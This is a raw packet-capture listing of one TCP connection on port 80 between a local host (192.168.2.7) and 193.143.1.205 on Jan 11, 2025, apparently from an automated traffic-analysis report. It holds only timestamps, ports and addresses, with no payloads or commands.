Jan 11, 2025 06:53:50.052468061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052475929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052480936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052494049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052525043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052557945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052570105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052582026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052593946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052607059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052624941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052628040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052639961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052650928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052650928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052676916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052678108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052690983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052692890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052731037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.080697060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080738068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080749035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080785036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080795050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080806971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080826998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080830097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.080840111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080873966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080876112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.080885887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080898046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.080916882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080921888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.080929041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.080954075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081001043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081006050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081022024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081033945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081048012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081094027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081094980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081105947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081106901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081116915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081147909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081166983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081167936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081178904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081191063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081212044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081217051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081224918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081238985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081275940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081291914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081295013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081305981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081341982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081372976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081383944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081396103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081423044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081423044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081434965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081445932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081470013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081494093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081569910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081582069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081593037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081605911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081613064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081618071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081640959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081686974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081698895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081708908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081738949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081751108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081753969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081753969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081763983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081775904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081778049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081809044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.081820965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081831932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.081875086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082005024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082015991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082027912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082039118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082046986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082052946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082065105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082077026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082094908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082144022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082161903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082175016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082185030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082185984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082200050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082211018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082212925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082223892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082237959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082241058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082251072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082261086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082290888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082438946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082448959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082462072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082473040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082485914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082495928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082498074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082511902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082528114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082546949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082575083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082588911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082601070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082611084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082613945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082624912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082638025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082643986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082652092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.082673073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.082690001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113168001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113185883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113198996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113213062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113253117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113284111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113292933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113296032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113308907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113321066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113331079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113332987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113352060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113372087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113373995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113382101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113398075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113400936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113409042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113423109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113431931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113435984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113449097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113460064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113462925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113476038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113506079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.113523006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113534927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113545895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.113573074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.128645897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.140789032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.140997887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141016960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141027927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141047955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141050100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141060114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141072989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141079903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141086102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141113043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141129971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141187906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141197920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141211033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141226053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141232014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141237974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141249895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141262054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141262054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141274929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141284943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141331911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141343117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141354084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141366959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141379118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141397953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141401052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141415119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141424894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141427994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141441107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141453981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.141453981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.141482115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169466019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169478893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169491053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169548035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169562101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169568062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169574976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169598103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169609070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169612885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169624090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169635057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169646978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169650078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169658899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169672966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169682026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169702053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169713974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169728994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169737101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169738054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169749975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169761896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169775009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169778109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169794083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169833899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169846058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169868946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169879913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169883013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169893980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169914007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169918060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169929981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169933081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.169945002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.169965029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170048952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170061111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170072079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170092106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170113087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170133114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170145035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170156956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170166969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170181036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170212984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170213938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170229912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170243025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170264006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170275927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170275927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170289040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170301914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170303106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170327902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170497894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170515060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170530081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170541048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170542955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170557022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170569897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170576096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170586109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170608997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170628071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170650959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170664072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170676947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170689106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170696020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170702934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170716047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170723915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170727968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170741081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170753956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170763969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170788050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170851946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170888901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170892000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170898914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170911074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170923948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170938015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170943975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170954943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.170958042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.170972109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171000957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171135902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171152115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171164989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171174049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171178102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171190023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171200991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171202898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171221018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171227932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171238899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171252966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171263933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171263933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171287060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171297073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171308041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171325922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171330929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171339035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171364069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.171364069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.171406984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.201914072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.201946020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.201961040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.201972961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.201986074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.201997995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202011108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202049017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.202075005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.202132940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202150106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202163935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202171087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.202177048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202193022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202198982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.202204943 CET	80	49699	193.143.1.205	192.168.2.7
